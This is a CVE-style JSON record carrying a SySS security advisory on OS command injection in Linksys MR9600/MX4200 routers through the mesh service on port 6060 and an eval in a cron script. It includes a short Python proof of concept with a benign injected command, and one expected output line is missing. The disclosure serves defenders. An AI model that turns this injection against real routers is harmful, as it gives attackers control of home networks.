{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Z\u00e4ske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-011\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:\u00a0 \u00a0 \u00a0 \u00a0 OS Command Injection (CWE-78)\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 High\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing neutralization of special elements, OS commands can\nbe injected via the update functionality of a TLS-SRP connection,\nwhich is normally used for configuring devices inside the mesh\nnetwork.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a service (sct_server\nbinary) running on TCP port 6060, which is used to integrate other mesh\ndevices into the network. The service accepts TLS-SRP connections with\na username and password.\n\nThe service supports an update request, which can be used to set\n\"syscfg\" variables on the device. The script\n\"/tmp/cron/cron.everyminute/offline-notifier.cron\" is executed every\nminute and sets \"syscfg\" variables containing \"node-off\" as environment\nvariables using the following lines:\n\n\u00a0 VARS=\"$(syscfg show |\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 grep node-off |\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 sed -r \"s/^[^:]+:://g\" |\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 while read i; do\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 echo \"$i;\"\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 done)\"\n\u00a0 eval $VARS\n\nUsually, the variable \"VARS\" is set to a value similar to the following:\n\n\u00a0 $ syscfg show | grep node-off\n\n\u00a0 node-off::min_offline_time=3\n\u00a0 node-off::enabled=1\n\u00a0 node-off::cache_dir=/tmp/msg\n\u00a0 node-off::enable_cloud=1\n\u00a0 node-off::debug=0\n\n\n\nBy using the service on port 6060, an update request can be sent to the\ndevice, which can be used to set an arbitrary \"syscfg\" entry. If this\nentry contains \";\", OS commands can be injected into the \"VARS\"\nvariable, which will be used by eval.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the \"tlslite-ng\" library, the following Python code will result\nin the LED indicator at the top of the device turning yellow, indicating\nthat the OS command got successfully executed:\n\n\u00a0 from socket import *\n\u00a0 from tlslite.api import *\n\n\u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 sock.connect((\"192.168.1.1\", 6060))\n\n\u00a0 conn = TLSConnection(sock)\n\u00a0 conn.handshakeClientSRP(srp_username, srp_pass)\n\nconn.sendall(bytes.fromhex(\"4f53435479e0b43120fcf435000000600000\"))\n\n\nThis code results in the following \"syscfg\" value to be set:\n\n\u00a0 $ syscfg show | grep SySS\n\u00a0 node-off::SySS=; combo_solid yellow on\n\nWhen parsed by the script \"offline-notifier.cron\", the following line\nwill be executed by eval, resulting in the indicator LED turning yellow\nafter a maximum of 60 seconds:\n\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-01-30: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-011\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:38Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/18"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-011] Linksys MX9600/MX4200 - OS Command Injection",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0203",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/18",
            "automated": true,
            "contentSha256": "531f353f04bac3f2bbcd04494b568489988470502612900246967d7ef58ce0fb",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:13:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-09T10:09:38Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0203"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}